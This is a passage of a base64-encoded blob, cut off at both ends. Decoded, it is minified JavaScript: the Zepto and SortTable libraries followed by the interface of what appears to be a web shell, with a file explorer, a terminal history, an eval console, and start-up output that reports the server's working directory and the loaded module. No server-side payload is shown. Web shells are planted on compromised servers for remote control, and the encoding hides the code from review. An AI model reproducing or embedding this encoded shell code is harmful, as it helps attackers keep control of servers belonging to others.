InBhcnNlcmVycm9yIix4aHIsc2V0dGluZ3MsZGVmZXJyZWQpOmFqYXhTdWNjZXNzKHJlc3VsdCx4aHIsc2V0dGluZ3MsZGVmZXJyZWQpfWVsc2UgYWpheEVycm9yKHhoci5zdGF0dXNUZXh0fHxudWxsLHhoci5zdGF0dXM/ImVycm9yIjoiYWJvcnQiLHhocixzZXR0aW5ncyxkZWZlcnJlZCl9fTtpZihhamF4QmVmb3JlU2VuZCh4aHIsc2V0dGluZ3MpPT09ITEpcmV0dXJuIHhoci5hYm9ydCgpLGFqYXhFcnJvcihudWxsLCJhYm9ydCIseGhyLHNldHRpbmdzLGRlZmVycmVkKSx4aHI7aWYoc2V0dGluZ3MueGhyRmllbGRzKWZvcihuYW1lIGluIHNldHRpbmdzLnhockZpZWxkcyl4aHJbbmFtZV09c2V0dGluZ3MueGhyRmllbGRzW25hbWVdO3ZhciBhc3luYz0iYXN5bmMiaW4gc2V0dGluZ3M/c2V0dGluZ3MuYXN5bmM6ITA7eGhyLm9wZW4oc2V0dGluZ3MudHlwZSxzZXR0aW5ncy51cmwsYXN5bmMsc2V0dGluZ3MudXNlcm5hbWUsc2V0dGluZ3MucGFzc3dvcmQpO2ZvcihuYW1lIGluIGhlYWRlcnMpbmF0aXZlU2V0SGVhZGVyLmFwcGx5KHhocixoZWFkZXJzW25hbWVdKTtyZXR1cm4gc2V0dGluZ3MudGltZW91dD4wJiYoYWJvcnRUaW1lb3V0PXNldFRpbWVvdXQoZnVuY3Rpb24oKXt4aHIub25yZWFkeXN0YXRlY2hhbmdlPWVtcHR5LHhoci5hYm9ydCgpLGFqYXhFcnJvcihudWxsLCJ0aW1lb3V0Iix4aHIsc2V0dGluZ3MsZGVmZXJyZWQpfSxzZXR0aW5ncy50aW1lb3V0KSkseGhyLnNlbmQoc2V0dGluZ3MuZGF0YT9zZXR0aW5ncy5kYXRhOm51bGwpLHhocn0sJC5nZXQ9ZnVuY3Rpb24oYSxiLGMsZCl7cmV0dXJuICQuYWpheChwYXJzZUFyZ3VtZW50cy5hcHBseShudWxsLGFyZ3VtZW50cykpfSwkLnBvc3Q9ZnVuY3Rpb24oYSxiLGMsZCl7dmFyIGU9cGFyc2VBcmd1bWVudHMuYXBwbHkobnVsbCxhcmd1bWVudHMpO3JldHVybiBlLnR5cGU9IlBPU1QiLCQuYWpheChlKX0sJC5nZXRKU09OPWZ1bmN0aW9uKGEsYixjKXt2YXIgZD1wYXJzZUFyZ3VtZW50cy5hcHBseShudWxsLGFyZ3VtZW50cyk7cmV0dXJuIGQuZGF0YVR5cGU9Impzb24iLCQuYWpheChkKX0sJC5mbi5sb2FkPWZ1bmN0aW9uKGEsYixjKXtpZighdGhpcy5sZW5ndGgpcmV0dXJuIHRoaXM7dmFyIGQ9dGhpcyxlPWEuc3BsaXQoL1xzLyksZixnPXBhcnNlQXJndW1lbnRzKGEsYixjKSxoPWcuc3VjY2VzcztyZXR1cm4gZS5sZW5ndGg+MSYmKGcudXJsPWVbMF0sZj1lWzFdKSxnLnN1Y2Nlc3M9ZnVuY3Rpb24oYSl7ZC5odG1sKGY/JCgiPGRpdj4iKS5odG1sKGEucmVwbGFjZShyc2NyaXB0LCIiKSkuZmluZChmKTphKSxoJiZoLmFwcGx5KGQsYXJndW1lbnRzKX0sJC5hamF4KGcpLHRoaXN9O3ZhciBlc2NhcGU9ZW5jb2RlVVJJQ29tcG9uZW50OyQucGFyYW09ZnVuY3Rpb24oYSxiKXt2YXIgYz1bXTtyZXR1cm4gYy5hZGQ9ZnVuY3Rpb24oYSxiKXt0aGlzLnB1c2goZXNjYXBlKGEpKyI9Iitlc2NhcGUoYikpfSxzZXJpYWxpemUoYyxhLGIpLGMuam9pbigiJiIpLnJlcGxhY2UoLyUyMC9nLCIrIil9fShaZXB0byksZnVuY3Rpb24oYSl7YS5mbi5zZXJpYWxpemVBcnJheT1mdW5jdGlvbigpe3ZhciBiPVtdLGM7cmV0dXJuIGEoW10uc2xpY2UuY2FsbCh0aGlzLmdldCgwKS5lbGVtZW50cykpLmVhY2goZnVuY3Rpb24oKXtjPWEodGhpcyk7dmFyIGQ9Yy5hdHRyKCJ0eXBlIik7dGhpcy5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpIT0iZmllbGRzZXQiJiYhdGhpcy5kaXNhYmxlZCYmZCE9InN1Ym1pdCImJmQhPSJyZXNldCImJmQhPSJidXR0b24iJiYoZCE9InJhZGlvIiYmZCE9ImNoZWNrYm94Inx8dGhpcy5jaGVja2VkKSYmYi5wdXNoKHtuYW1lOmMuYXR0cigibmFtZSIpLHZhbHVlOmMudmFsKCl9KX0pLGJ9LGEuZm4uc2VyaWFsaXplPWZ1bmN0aW9uKCl7dmFyIGE9W107cmV0dXJuIHRoaXMuc2VyaWFsaXplQXJyYXkoKS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2EucHVzaChlbmNvZGVVUklDb21wb25lbnQoYi5uYW1lKSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGIudmFsdWUpKX0pLGEuam9pbigiJiIpfSxhLmZuLnN1Ym1pdD1mdW5jdGlvbihiKXtpZihiKXRoaXMuYmluZCgic3VibWl0IixiKTtlbHNlIGlmKHRoaXMubGVuZ3RoKXt2YXIgYz1hLkV2ZW50KCJzdWJtaXQiKTt0aGlzLmVxKDApLnRyaWdnZXIoYyksYy5pc0RlZmF1bHRQcmV2ZW50ZWQoKXx8dGhpcy5nZXQoMCkuc3VibWl0KCl9cmV0dXJuIHRoaXN9fShaZXB0byksZnVuY3Rpb24oYSl7Il9fcHJvdG9fXyJpbnt9fHxhLmV4dGVuZChhLnplcHRvLHtaOmZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9Ynx8W10sYS5leHRlbmQoYixhLmZuKSxiLnNlbGVjdG9yPWN8fCIiLGIuX19aPSEwLGJ9LGlzWjpmdW5jdGlvbihiKXtyZXR1cm4gYS50eXBlKGIpPT09ImFycmF5IiYmIl9fWiJpbiBifX0pO3RyeXtnZXRDb21wdXRlZFN0eWxlKHVuZGVmaW5lZCl9Y2F0Y2goYil7dmFyIGM9Z2V0Q29tcHV0ZWRTdHlsZTt3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZT1mdW5jdGlvbihhKXt0cnl7cmV0dXJuIGMoYSl9Y2F0Y2goYil7cmV0dXJuIG51bGx9fX19KFplcHRvKQoKCi8qKgoqCiogU29ydFRhYmxlCiogdmVyc2lvbiAyCiogN3RoIEFwcmlsIDIwMDcKKiBTdHVhcnQgTGFuZ3JpZGdlLCBodHRwOi8vd3d3LmtyeW9nZW5peC5vcmcvY29kZS9icm93c2VyL3NvcnR0YWJsZS8KKgoqKi8KdmFyIGg9ITAsaj0hMTsKc29ydHRhYmxlPXtlOmZ1bmN0aW9uKCl7YXJndW1lbnRzLmNhbGxlZS5pfHwoYXJndW1lbnRzLmNhbGxlZS5pPWgsayYmY2xlYXJJbnRlcnZhbChrKSxkb2N1bWVudC5jcmVhdGVFbGVtZW50JiZkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSYmKHNvcnR0YWJsZS5hPS9eKFxkXGQ/KVtcL1wuLV0oXGRcZD8pW1wvXC4tXSgoXGRcZCk/XGRcZCkkLyxsKGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0YWJsZSIpLGZ1bmN0aW9uKGEpey0xIT1hLmNsYXNzTmFtZS5zZWFyY2goL1xic29ydGFibGVcYi8pJiZzb3J0dGFibGUuayhhKX0pKSl9LGs6ZnVuY3Rpb24oYSl7MD09YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGhlYWQiKS5sZW5ndGgmJih0aGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidGhlYWQiKSx0aGUuYXBwZW5kQ2hpbGQoYS5yb3dzWzBdKSxhLmluc2VydEJlZm9yZSh0aGUsYS5maXJzdENoaWxkKSk7bnVsbD09YS50SGVhZCYmKGEudEhlYWQ9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGhlYWQiKVswXSk7CmlmKDE9PWEudEhlYWQucm93cy5sZW5ndGgpe3NvcnRib3R0b21yb3dzPVtdO2Zvcih2YXIgYj0wO2I8YS5yb3dzLmxlbmd0aDtiKyspLTEhPWEucm93c1tiXS5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnRib3R0b21cYi8pJiYoc29ydGJvdHRvbXJvd3Nbc29ydGJvdHRvbXJvd3MubGVuZ3RoXT1hLnJvd3NbYl0pO2lmKHNvcnRib3R0b21yb3dzKXtudWxsPT1hLnRGb290JiYodGZvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInRmb290IiksYS5hcHBlbmRDaGlsZCh0Zm8pKTtmb3IoYj0wO2I8c29ydGJvdHRvbXJvd3MubGVuZ3RoO2IrKyl0Zm8uYXBwZW5kQ2hpbGQoc29ydGJvdHRvbXJvd3NbYl0pO2RlbGV0ZSBzb3J0Ym90dG9tcm93c31oZWFkcm93PWEudEhlYWQucm93c1swXS5jZWxscztmb3IoYj0wO2I8aGVhZHJvdy5sZW5ndGg7YisrKWlmKCFoZWFkcm93W2JdLmNsYXNzTmFtZS5tYXRjaCgvXGJzb3J0dGFibGVfbm9zb3J0XGIvKSl7KG10Y2g9aGVhZHJvd1tiXS5jbGFzc05hbWUubWF0Y2goL1xic29ydHRhYmxlXyhbYS16MC05XSspXGIvKSkmJgoob3ZlcnJpZGU9bXRjaFsxXSk7aGVhZHJvd1tiXS5wPW10Y2gmJiJmdW5jdGlvbiI9PXR5cGVvZiBzb3J0dGFibGVbInNvcnRfIitvdmVycmlkZV0/c29ydHRhYmxlWyJzb3J0XyIrb3ZlcnJpZGVdOnNvcnR0YWJsZS5qKGEsYik7aGVhZHJvd1tiXS5vPWI7aGVhZHJvd1tiXS5jPWEudEJvZGllc1swXTt2YXIgYz1oZWFkcm93W2JdLGU9c29ydHRhYmxlLnE9ZnVuY3Rpb24oKXtpZigtMSE9dGhpcy5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnR0YWJsZV9zb3J0ZWRcYi8pKXNvcnR0YWJsZS5yZXZlcnNlKHRoaXMuYyksdGhpcy5jbGFzc05hbWU9dGhpcy5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZCIsInNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZSIpLHRoaXMucmVtb3ZlQ2hpbGQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0ZndkaW5kIikpLHNvcnRyZXZpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpLHNvcnRyZXZpbmQuaWQ9InNvcnR0YWJsZV9zb3J0cmV2aW5kIiwKc29ydHJldmluZC5pbm5lckhUTUw9IiZuYnNwOyYjeDI1QjQ7Iix0aGlzLmFwcGVuZENoaWxkKHNvcnRyZXZpbmQpO2Vsc2UgaWYoLTEhPXRoaXMuY2xhc3NOYW1lLnNlYXJjaCgvXGJzb3J0dGFibGVfc29ydGVkX3JldmVyc2VcYi8pKXNvcnR0YWJsZS5yZXZlcnNlKHRoaXMuYyksdGhpcy5jbGFzc05hbWU9dGhpcy5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZF9yZXZlcnNlIiwic29ydHRhYmxlX3NvcnRlZCIpLHRoaXMucmVtb3ZlQ2hpbGQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0cmV2aW5kIikpLHNvcnRmd2RpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpLHNvcnRmd2RpbmQuaWQ9InNvcnR0YWJsZV9zb3J0ZndkaW5kIixzb3J0ZndkaW5kLmlubmVySFRNTD0iJm5ic3A7JiN4MjVCRTsiLHRoaXMuYXBwZW5kQ2hpbGQoc29ydGZ3ZGluZCk7ZWxzZXt0aGVhZHJvdz10aGlzLnBhcmVudE5vZGU7bCh0aGVhZHJvdy5jaGlsZE5vZGVzLApmdW5jdGlvbihhKXsxPT1hLm5vZGVUeXBlJiYoYS5jbGFzc05hbWU9YS5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZF9yZXZlcnNlIiwiIiksYS5jbGFzc05hbWU9YS5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZCIsIiIpKX0pOyhzb3J0ZndkaW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzb3J0dGFibGVfc29ydGZ3ZGluZCIpKSYmc29ydGZ3ZGluZC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHNvcnRmd2RpbmQpOyhzb3J0cmV2aW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzb3J0dGFibGVfc29ydHJldmluZCIpKSYmc29ydHJldmluZC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHNvcnRyZXZpbmQpO3RoaXMuY2xhc3NOYW1lKz0iIHNvcnR0YWJsZV9zb3J0ZWQiO3NvcnRmd2RpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpO3NvcnRmd2RpbmQuaWQ9InNvcnR0YWJsZV9zb3J0ZndkaW5kIjtzb3J0ZndkaW5kLmlubmVySFRNTD0KIiZuYnNwOyYjeDI1QkU7Ijt0aGlzLmFwcGVuZENoaWxkKHNvcnRmd2RpbmQpO3Jvd19hcnJheT1bXTtjb2w9dGhpcy5vO3Jvd3M9dGhpcy5jLnJvd3M7Zm9yKHZhciBhPTA7YTxyb3dzLmxlbmd0aDthKyspcm93X2FycmF5W3Jvd19hcnJheS5sZW5ndGhdPVtzb3J0dGFibGUuZChyb3dzW2FdLmNlbGxzW2NvbF0pLHJvd3NbYV1dO3Jvd19hcnJheS5zb3J0KHRoaXMucCk7dGI9dGhpcy5jO2ZvcihhPTA7YTxyb3dfYXJyYXkubGVuZ3RoO2ErKyl0Yi5hcHBlbmRDaGlsZChyb3dfYXJyYXlbYV1bMV0pO2RlbGV0ZSByb3dfYXJyYXl9fTtpZihjLmFkZEV2ZW50TGlzdGVuZXIpYy5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZSxqKTtlbHNle2UuZnx8KGUuZj1uKyspO2MuYnx8KGMuYj17fSk7dmFyIGc9Yy5iLmNsaWNrO2d8fChnPWMuYi5jbGljaz17fSxjLm9uY2xpY2smJihnWzBdPWMub25jbGljaykpO2dbZS5mXT1lO2Mub25jbGljaz1wfX19fSxqOmZ1bmN0aW9uKGEsYil7c29ydGZuPQpzb3J0dGFibGUubDtmb3IodmFyIGM9MDtjPGEudEJvZGllc1swXS5yb3dzLmxlbmd0aDtjKyspaWYodGV4dD1zb3J0dGFibGUuZChhLnRCb2RpZXNbMF0ucm93c1tjXS5jZWxsc1tiXSksIiIhPXRleHQpe2lmKHRleHQubWF0Y2goL14tP1tcdTAwYTMkXHUwMGE0XT9bXGQsLl0rJT8kLykpcmV0dXJuIHNvcnR0YWJsZS5uO2lmKHBvc3NkYXRlPXRleHQubWF0Y2goc29ydHRhYmxlLmEpKXtmaXJzdD1wYXJzZUludChwb3NzZGF0ZVsxXSk7c2Vjb25kPXBhcnNlSW50KHBvc3NkYXRlWzJdKTtpZigxMjxmaXJzdClyZXR1cm4gc29ydHRhYmxlLmc7aWYoMTI8c2Vjb25kKXJldHVybiBzb3J0dGFibGUubTtzb3J0Zm49c29ydHRhYmxlLmd9fXJldHVybiBzb3J0Zm59LGQ6ZnVuY3Rpb24oYSl7aWYoIWEpcmV0dXJuIiI7aGFzSW5wdXRzPSJmdW5jdGlvbiI9PXR5cGVvZiBhLmdldEVsZW1lbnRzQnlUYWdOYW1lJiZhLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpLmxlbmd0aDtpZigiIiE9CmEudGl0bGUpcmV0dXJuIGEudGl0bGU7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiBhLnRleHRDb250ZW50JiYhaGFzSW5wdXRzKXJldHVybiBhLnRleHRDb250ZW50LnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtpZigidW5kZWZpbmVkIiE9dHlwZW9mIGEuaW5uZXJUZXh0JiYhaGFzSW5wdXRzKXJldHVybiBhLmlubmVyVGV4dC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiBhLnRleHQmJiFoYXNJbnB1dHMpcmV0dXJuIGEudGV4dC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7c3dpdGNoKGEubm9kZVR5cGUpe2Nhc2UgMzppZigiaW5wdXQiPT1hLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkpcmV0dXJuIGEudmFsdWUucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2Nhc2UgNDpyZXR1cm4gYS5ub2RlVmFsdWUucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2Nhc2UgMTpjYXNlIDExOmZvcih2YXIgYj0iIixjPTA7YzxhLmNoaWxkTm9kZXMubGVuZ3RoO2MrKyliKz0Kc29ydHRhYmxlLmQoYS5jaGlsZE5vZGVzW2NdKTtyZXR1cm4gYi5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7ZGVmYXVsdDpyZXR1cm4iIn19LHJldmVyc2U6ZnVuY3Rpb24oYSl7bmV3cm93cz1bXTtmb3IodmFyIGI9MDtiPGEucm93cy5sZW5ndGg7YisrKW5ld3Jvd3NbbmV3cm93cy5sZW5ndGhdPWEucm93c1tiXTtmb3IoYj1uZXdyb3dzLmxlbmd0aC0xOzA8PWI7Yi0tKWEuYXBwZW5kQ2hpbGQobmV3cm93c1tiXSk7ZGVsZXRlIG5ld3Jvd3N9LG46ZnVuY3Rpb24oYSxiKXthYT1wYXJzZUZsb2F0KGFbMF0ucmVwbGFjZSgvW14wLTkuLV0vZywiIikpO2lzTmFOKGFhKSYmKGFhPTApO2JiPXBhcnNlRmxvYXQoYlswXS5yZXBsYWNlKC9bXjAtOS4tXS9nLCIiKSk7aXNOYU4oYmIpJiYoYmI9MCk7cmV0dXJuIGFhLWJifSxsOmZ1bmN0aW9uKGEsYil7cmV0dXJuIGFbMF0udG9Mb3dlckNhc2UoKT09YlswXS50b0xvd2VyQ2FzZSgpPzA6YVswXS50b0xvd2VyQ2FzZSgpPGJbMF0udG9Mb3dlckNhc2UoKT8KLTE6MX0sZzpmdW5jdGlvbihhLGIpe210Y2g9YVswXS5tYXRjaChzb3J0dGFibGUuYSk7eT1tdGNoWzNdO209bXRjaFsyXTtkPW10Y2hbMV07MT09bS5sZW5ndGgmJihtPSIwIittKTsxPT1kLmxlbmd0aCYmKGQ9IjAiK2QpO2R0MT15K20rZDttdGNoPWJbMF0ubWF0Y2goc29ydHRhYmxlLmEpO3k9bXRjaFszXTttPW10Y2hbMl07ZD1tdGNoWzFdOzE9PW0ubGVuZ3RoJiYobT0iMCIrbSk7MT09ZC5sZW5ndGgmJihkPSIwIitkKTtkdDI9eSttK2Q7cmV0dXJuIGR0MT09ZHQyPzA6ZHQxPGR0Mj8tMToxfSxtOmZ1bmN0aW9uKGEsYil7bXRjaD1hWzBdLm1hdGNoKHNvcnR0YWJsZS5hKTt5PW10Y2hbM107ZD1tdGNoWzJdO209bXRjaFsxXTsxPT1tLmxlbmd0aCYmKG09IjAiK20pOzE9PWQubGVuZ3RoJiYoZD0iMCIrZCk7ZHQxPXkrbStkO210Y2g9YlswXS5tYXRjaChzb3J0dGFibGUuYSk7eT1tdGNoWzNdO2Q9bXRjaFsyXTttPW10Y2hbMV07MT09bS5sZW5ndGgmJihtPSIwIittKTsxPT1kLmxlbmd0aCYmCihkPSIwIitkKTtkdDI9eSttK2Q7cmV0dXJuIGR0MT09ZHQyPzA6ZHQxPGR0Mj8tMToxfSxyOmZ1bmN0aW9uKGEsYil7Zm9yKHZhciBjPTAsZT1hLmxlbmd0aC0xLGc9aDtnOyl7Zm9yKHZhciBnPWosZj1jO2Y8ZTsrK2YpMDxiKGFbZl0sYVtmKzFdKSYmKGc9YVtmXSxhW2ZdPWFbZisxXSxhW2YrMV09ZyxnPWgpO2UtLTtpZighZylicmVhaztmb3IoZj1lO2Y+YzstLWYpMD5iKGFbZl0sYVtmLTFdKSYmKGc9YVtmXSxhW2ZdPWFbZi0xXSxhW2YtMV09ZyxnPWgpO2MrK319fTtkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyJiZkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixzb3J0dGFibGUuZSxqKTtpZigvV2ViS2l0L2kudGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSl2YXIgaz1zZXRJbnRlcnZhbChmdW5jdGlvbigpey9sb2FkZWR8Y29tcGxldGUvLnRlc3QoZG9jdW1lbnQucmVhZHlTdGF0ZSkmJnNvcnR0YWJsZS5lKCl9LDEwKTsKd2luZG93Lm9ubG9hZD1zb3J0dGFibGUuZTt2YXIgbj0xO2Z1bmN0aW9uIHAoYSl7dmFyIGI9aDthfHwoYT0oKHRoaXMub3duZXJEb2N1bWVudHx8dGhpcy5kb2N1bWVudHx8dGhpcykucGFyZW50V2luZG93fHx3aW5kb3cpLmV2ZW50LGEucHJldmVudERlZmF1bHQ9cSxhLnN0b3BQcm9wYWdhdGlvbj1yKTt2YXIgYz10aGlzLmJbYS50eXBlXSxlO2ZvcihlIGluIGMpdGhpcy5oPWNbZV0sdGhpcy5oKGEpPT09aiYmKGI9aik7cmV0dXJuIGJ9ZnVuY3Rpb24gcSgpe3RoaXMucmV0dXJuVmFsdWU9an1mdW5jdGlvbiByKCl7dGhpcy5jYW5jZWxCdWJibGU9aH1BcnJheS5mb3JFYWNofHwoQXJyYXkuZm9yRWFjaD1mdW5jdGlvbihhLGIsYyl7Zm9yKHZhciBlPTA7ZTxhLmxlbmd0aDtlKyspYi5jYWxsKGMsYVtlXSxlLGEpfSk7CkZ1bmN0aW9uLnByb3RvdHlwZS5mb3JFYWNoPWZ1bmN0aW9uKGEsYixjKXtmb3IodmFyIGUgaW4gYSkidW5kZWZpbmVkIj09dHlwZW9mIHRoaXMucHJvdG90eXBlW2VdJiZiLmNhbGwoYyxhW2VdLGUsYSl9O1N0cmluZy5mb3JFYWNoPWZ1bmN0aW9uKGEsYixjKXtBcnJheS5mb3JFYWNoKGEuc3BsaXQoIiIpLGZ1bmN0aW9uKGUsZyl7Yi5jYWxsKGMsZSxnLGEpfSl9O2Z1bmN0aW9uIGwoYSxiKXtpZihhKXt2YXIgYz1PYmplY3Q7aWYoYSBpbnN0YW5jZW9mIEZ1bmN0aW9uKWM9RnVuY3Rpb247ZWxzZXtpZihhLmZvckVhY2ggaW5zdGFuY2VvZiBGdW5jdGlvbil7YS5mb3JFYWNoKGIsdm9pZCAwKTtyZXR1cm59InN0cmluZyI9PXR5cGVvZiBhP2M9U3RyaW5nOiJudW1iZXIiPT10eXBlb2YgYS5sZW5ndGgmJihjPUFycmF5KX1jLmZvckVhY2goYSxiLHZvaWQgMCl9fTsKCnZhciBsb2FkaW5nX2NvdW50ID0gMDsKdmFyIHJ1bm5pbmcgPSBmYWxzZTsKdmFyIGRlZmF1bHRUYWIgPSAnZXhwbG9yZXInOwp2YXIgY3VycmVudFRhYiA9ICQoJyMnK2RlZmF1bHRUYWIpOwp2YXIgdGFiU2Nyb2xsID0gbmV3IE9iamVjdDsKdmFyIG9uRHJhZyA9IGZhbHNlOwp2YXIgb25TY3JvbGwgPSBmYWxzZTsKdmFyIHNjcm9sbERlbHRhID0gMTsKdmFyIHNjcm9sbENvdW50ZXIgPSAwOwp2YXIgc2Nyb2xsU3BlZWQgPSA2MDsKdmFyIHNjcm9sbFRpbWVyID0gJyc7CnZhciBkcmFnWCA9ICcnOwp2YXIgZHJhZ1kgPSAnJzsKdmFyIGRyYWdEZWx0YVggPSAnJzsKdmFyIGRyYWdEZWx0YVkgPSAnJzsKdmFyIGVkaXRTdWNjZXNzID0gJyc7CnZhciB0ZXJtaW5hbEhpc3RvcnkgPSBuZXcgQXJyYXkoKTsKdmFyIHRlcm1pbmFsSGlzdG9yeVBvcyA9IDA7CnZhciBldmFsU3VwcG9ydGVkID0gIiI7CnZhciBldmFsUmVhZHkgPSBmYWxzZTsKdmFyIHJlc2l6ZVRpbWVyID0gJyc7CnZhciBwb3J0YWJsZVdpZHRoID0gNzAwOwp2YXIgcG9ydGFibGVNb2RlID0gbnVsbDsKClplcHRvKGZ1bmN0aW9uKCQpewoJaWYoaW5pdF9zaGVsbCl7CgkJdmFyIG5vdyA9IG5ldyBEYXRlKCk7CgkJb3V0cHV0KCJzdGFydGVkIEAgIisgbm93LnRvR01UU3RyaW5nKCkpOwoJCW91dHB1dCgiY3dkIDogIitnZXRfY3dkKCkpOwoJCW91dHB1dCgibW9kdWxlIDogIittb2R1bGVfdG9fbG9hZCk7CgoJCXNob3dfdGFiKCk7CgkJeHBsX2JpbmQoKTsKCQlldmFsX2luaXQoKTsKCQkKCQl3aW5kb3dfcmVzaXplKCk7CgkJCgkJeHBsX3VwZGF0ZV9zdGF0dXMoKTsKCQkKCQkkKHdpbmRvdykub24oJ3Jlc2l6ZScsIGZ1bmN0aW9uKGUpewoJCQljbGVhclRpbWVvdXQocmVzaXplVGltZXIpOwoJCQlyZXNpemVUaW1lciA9IHNldFRpbWVvdXQoIndpbmRvd19yZXNpemUoKSIsIDEwMDApOwoJCX0pOwoKCQkkKCcubWVudWl0ZW0nKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQkJc2VsZWN0ZWRUYWIgPSAkKHRoaXMpLmF0dHIoJ2hyZWYnKS5zdWJzdHIoMik7CgkJCXNob3dfdGFiKHNlbGVjdGVkVGFiKTsKCQl9KTsKCgkJJCgnI2xvZ291dCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCQl2YXIgY29va2llID0gZG9jdW1lbnQuY29va2llLnNwbGl0KCc7Jyk7CgkJCWZvcih2YXIgaT0wOyBpPGNvb2tpZS5sZW5ndGg7IGkrKyl7CgkJCQl2YXIgZW50cmllcyA9IGNvb2tpZVtpXSwgZW50cnkgPSBlbnRyaWVzLnNwbGl0KCI9IiksIG5hbWUgPSBlbnRyeVswXTsKCQkJCWRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPScnOyBleHBpcmVzPVRodSwgMDEgSmFuIDE5NzAgMDA6MDA6MDEgR01UOyBwYXRoPS8iOwoJCQl9CgkJCWxvY2FsU3RvcmFnZS5jbGVhcigpOwoJCQlsb2NhdGlvbi5ocmVmID0gdGFyZ2V0dXJsOwoJCX0pOwoKCQkkKCcjdG90b3AnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQkJJCh3aW5kb3cpLnNjcm9sbFRvcCgwKTsKCQl9KTsKCQkkKCcjdG90b3AnKS5vbignbW91c2VvdmVyJywgZnVuY3Rpb24oZSl7CgkJCW9uU2Nyb2xsID0gdHJ1ZTsKCQkJY2xlYXJUaW1lb3V0KHNjcm9sbFRpbWVyKTsKCQkJc3RhcnRfc2Nyb2xsKCd0b3AnKTsKCQl9KTsKCQkkKCcjdG90b3AnKS5vbignbW91c2VvdXQnLCBmdW5jdGlvbihlKXsKCQkJb25TY3JvbGwgPSBmYWxzZTsKCQkJc2Nyb2xsQ291bnRlciA9IDA7CgkJfSk7CgkJJCgnI3RvYm90dG9tJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJCSQod2luZG93KS5zY3JvbGxUb3AoJChkb2N1bWVudCkuaGVpZ2h0KCktJCh3aW5kb3cpLmhlaWdodCgpKTsKCQl9KTsKCQkkKCcjdG9ib3R0b20nKS5vbignbW91c2VvdmVyJywgZnVuY3Rpb24oZSl7CgkJCW9uU2Nyb2xsID0gdHJ1ZTsKCQkJY2xlYXJUaW1lb3V0KHNjcm9sbFRpbWVyKTsKCQkJc3RhcnRfc2Nyb2xsKCdib3R0b20nKTsKCQl9KTsKCQkkKCcjdG9ib3R0b20nKS5vbignbW91c2VvdXQnLCBmdW5jdGlvbihlKXsKCQkJb25TY3JvbGwgPSBmYWxzZTsKCQkJc2Nyb2xsQ291bnRlciA9IDA7CgkJfSk7CgkJJCgnI2Jhc2ljSW5mbycpLm9uKCdtb3VzZWVudGVyJywgZnVuY3Rpb24oZSl7CgkJCSQoJyN0b2dnbGVCYXNpY0luZm8nKS5zaG93KCk7CgkJfSk7CgkJJCgnI2Jhc2ljSW5mbycpLm9uKCdtb3VzZWxlYXZlJywgZnVuY3Rpb24oZSl7CgkJCSQoJyN0b2dnbGVCYXNpY0luZm8nKS5oaWRlKCk7CgkJfSk7CgkJJCgnI3RvZ2dsZUJhc2ljSW5mbycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCQkkKCcjYmFzaWNJbmZvJykuaGlkZSgpOwoJCQkkKCcjc2hvd2luZm8nKS5zaG93KCk7CgkJCSQoJyN0b2dnbGVCYXNpY0luZm8nKS5oaWRlKCk7CgkJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdpbmZvQmFyU2hvd24nLCAnaGlkZGVuJyk7CgkJfSk7CgkJJCgnI3Nob3dpbmZvJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJCSQoJyNiYXNpY0luZm8nKS5zaG93KCk7CgkJCSQoJyNzaG93aW5mbycpLmhpZGUoKTsKCQkJbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2luZm9CYXJTaG93bicsICdzaG93bicpOwoJCX0pOwoJCQoJCWlmKChpbmZvQmFyU2hvd24gPSBsb2NhbFN0b3JhZ2